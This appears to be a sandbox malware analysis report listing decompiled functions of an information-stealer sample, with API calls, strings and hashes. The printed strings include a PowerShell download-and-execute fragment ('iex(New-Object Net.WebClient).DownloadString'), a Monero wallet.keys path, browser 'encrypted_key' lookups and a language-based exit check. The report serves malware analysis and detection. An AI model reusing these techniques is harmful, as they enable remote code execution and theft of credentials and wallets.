API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 9e25120154530a7a8e4921647e38bf5bc24425b4eecc1001ad2b1c53438dad1e
Instruction ID: 5ac6f0f0b2aad5bbe38aa8d61635d459ae6558a588f58016de1352681903866e
Opcode Fuzzy Hash: 9e25120154530a7a8e4921647e38bf5bc24425b4eecc1001ad2b1c53438dad1e
Instruction Fuzzy Hash: C051007091014C9BCB14FF60C996AFD7779AF20341F908024FA0E57592EF786B56CB92

Function 001F12D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: 6d452b6113d01bf1f3a4e491c9a32857835a1d0c0016fa2bfe82abe058efcb4c
Instruction ID: 724a9d902b4edabdc2b8589c7df6cfb02e8bca1171d391f46ea73bc99bf05baa
Opcode Fuzzy Hash: 6d452b6113d01bf1f3a4e491c9a32857835a1d0c0016fa2bfe82abe058efcb4c
Instruction Fuzzy Hash: 8BC173B594021DABCB14EF60DC89FFA7378BF64304F404598E60EA7281DB74AA95CF91

Function 001F4280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 001F8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 001F8E0B

lstrcat.KERNEL32(?,00000000), ref: 001F42EC
lstrcat.KERNEL32(?,011DDDD8), ref: 001F430B
lstrcat.KERNEL32(?,?), ref: 001F431F
lstrcat.KERNEL32(?,011DCDE0), ref: 001F4333

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

Part of subcall function 001F8D90: GetFileAttributesA.KERNEL32(00000000,?,001E1B54,?,?,0020564C,?,?,00200E1F), ref: 001F8D9F

Part of subcall function 001E9CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 001E9D39

Part of subcall function 001E99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 001E99EC
Part of subcall function 001E99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 001E9A11
Part of subcall function 001E99C0: LocalAlloc.KERNEL32(00000040,?), ref: 001E9A31
Part of subcall function 001E99C0: ReadFile.KERNEL32(000000FF,?,00000000,001E148F,00000000), ref: 001E9A5A
Part of subcall function 001E99C0: LocalFree.KERNEL32(001E148F), ref: 001E9A90
Part of subcall function 001E99C0: CloseHandle.KERNEL32(000000FF), ref: 001E9A9A

Part of subcall function 001F93C0: GlobalAlloc.KERNEL32(00000000,001F43DD,001F43DD), ref: 001F93D3

StrStrA.SHLWAPI(?,011DDC10), ref: 001F43F3
GlobalFree.KERNEL32(?), ref: 001F4512

Part of subcall function 001E9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,001E4EEE,00000000,00000000), ref: 001E9AEF
Part of subcall function 001E9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,001E4EEE,00000000,?), ref: 001E9B01
Part of subcall function 001E9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,001E4EEE,00000000,00000000), ref: 001E9B2A
Part of subcall function 001E9AC0: LocalFree.KERNEL32(?,?,?,?,001E4EEE,00000000,?), ref: 001E9B3F

lstrcat.KERNEL32(?,00000000), ref: 001F44A3
StrCmpCA.SHLWAPI(?,002008D1), ref: 001F44C0
lstrcat.KERNEL32(00000000,00000000), ref: 001F44D2
lstrcat.KERNEL32(00000000,?), ref: 001F44E5
lstrcat.KERNEL32(00000000,00200FB8), ref: 001F44F4

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: ce093e1a13d533f03d682de1d9c57e787aef5d2ee06d064c6a78f4f85f37d590
Instruction ID: 021fbf1d191a028a9025b7fadbaa9d1e31e005fe4dccfab31bc1a3ff3f195c69
Opcode Fuzzy Hash: ce093e1a13d533f03d682de1d9c57e787aef5d2ee06d064c6a78f4f85f37d590
Instruction Fuzzy Hash: D37145B6900208ABDB14FBA0DC85FEE7379BF98300F444598F609A7181EB75DB59CB91

Function 001F6770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 001F6774
ExitProcess.KERNEL32 ref: 001F67A5
ExitProcess.KERNEL32 ref: 001F67AF
ExitProcess.KERNEL32 ref: 001F67B9
ExitProcess.KERNEL32 ref: 001F67C3
ExitProcess.KERNEL32 ref: 001F67CD

Strings

*, xrefs: 001F678C

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 3a9fb635388324dbba465837f0ffa445e1eeb06c4af1db05d5f284d5665af90d
Instruction ID: e4fa01a212c96c687f6666cc5182f670dbbbf3e56cf5ec91ed115a03d2e4cdf8
Opcode Fuzzy Hash: 3a9fb635388324dbba465837f0ffa445e1eeb06c4af1db05d5f284d5665af90d
Instruction Fuzzy Hash: 65F05431A04209EFD354AFE0E91972CBB70FB54703F5401A8EA05C6290D6B08B62DB9E

Function 001F2C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

Part of subcall function 001FA9B0: lstrlen.KERNEL32(?,011D88D0,?,\Monero\wallet.keys,00200E17), ref: 001FA9C5
Part of subcall function 001FA9B0: lstrcpy.KERNEL32(00000000), ref: 001FAA04
Part of subcall function 001FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001FAA12

Part of subcall function 001FA920: lstrcpy.KERNEL32(00000000,?), ref: 001FA972
Part of subcall function 001FA920: lstrcat.KERNEL32(00000000), ref: 001FA982

Part of subcall function 001FA8A0: lstrcpy.KERNEL32(?,00200E17), ref: 001FA905

ShellExecuteEx.SHELL32(0000003C), ref: 001F2D85

Strings

-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 001F2CC4
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 001F2D04
')", xrefs: 001F2CB3
<, xrefs: 001F2D39

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 787c342fbe10ee2cfcac8209f9d8402360b192a4da57410bd90769e1999d57d0
Instruction ID: d6c4af6c69c7181aa69793be11c9f3460c82b2b964e25a10237ad61bd291398f
Opcode Fuzzy Hash: 787c342fbe10ee2cfcac8209f9d8402360b192a4da57410bd90769e1999d57d0
Instruction Fuzzy Hash: 4A4193B1D5020C9ADB14FFA0C891BFDB774AF24340F904119E61AA7196DFB86A4ACF91

Function 001E9E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 001E9F41

Part of subcall function 001FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001FA7E6

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

Strings

ERROR_RUN_EXTRACTOR, xrefs: 001E9E67
@, xrefs: 001E9EF1
v10, xrefs: 001E9EA3
v20, xrefs: 001E9E21

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: 2b32ac829b10332895fe36bced93e5c2a13689ea116a97d2406ed9dec6a6dc14
Instruction ID: 9556da6c21e1ff58516953a7e3468fcc45edd08707d58cab20271957c39ca9db
Opcode Fuzzy Hash: 2b32ac829b10332895fe36bced93e5c2a13689ea116a97d2406ed9dec6a6dc14
Instruction Fuzzy Hash: 9A616E71A1024CEBDB24EFA4CC96FED7775AF51300F408118FA0E9B191EB746A06CB92

Function 001F9260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(011DD868,?,?,?,001F140C,?,011DD868,00000000), ref: 001F926C
lstrcpyn.KERNEL32(0042AB88,011DD868,011DD868,?,001F140C,?,011DD868), ref: 001F9290
lstrlen.KERNEL32(?,?,001F140C,?,011DD868), ref: 001F92A7
wsprintfA.USER32 ref: 001F92C7

Strings

%s%s, xrefs: 001F92B5

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 9d39f32bdf974a30ecb8df8cfb0e824749e1154318dd2d3071df99828dab6138
Instruction ID: cd8177619040b1a81b096a8f5b3b6b0a1238bf0fdf9b4ab0377270fa1c0b431f
Opcode Fuzzy Hash: 9d39f32bdf974a30ecb8df8cfb0e824749e1154318dd2d3071df99828dab6138
Instruction Fuzzy Hash: 9B010C75600108FFCB04DFECD988EAE7BB9EB44350F508158FE098B240C735AA61DB9A

Function 001FC84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 001FC8EC
___crtLCMapStringA.LIBCMT ref: 001FC90C
___crtLCMapStringA.LIBCMT ref: 001FC931

Strings

, xrefs: 001FC896

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: 6179ae24a9c91227f4f0047caef4fe29b156df12129fc29f7ce4c2f981ed0257
Instruction ID: 56c36d2ab8ba785e1aa0c0f53b7b2379943bb693dcdc3a679c372e9ba32e9cab
Opcode Fuzzy Hash: 6179ae24a9c91227f4f0047caef4fe29b156df12129fc29f7ce4c2f981ed0257
Instruction Fuzzy Hash: 4141E8B150079C5EDB258B24CE94FFB7BE9AF45708F1444E8EACA86182D3719A44EF60

Function 001F6630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 001F6663

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

Part of subcall function 001FA9B0: lstrlen.KERNEL32(?,011D88D0,?,\Monero\wallet.keys,00200E17), ref: 001FA9C5
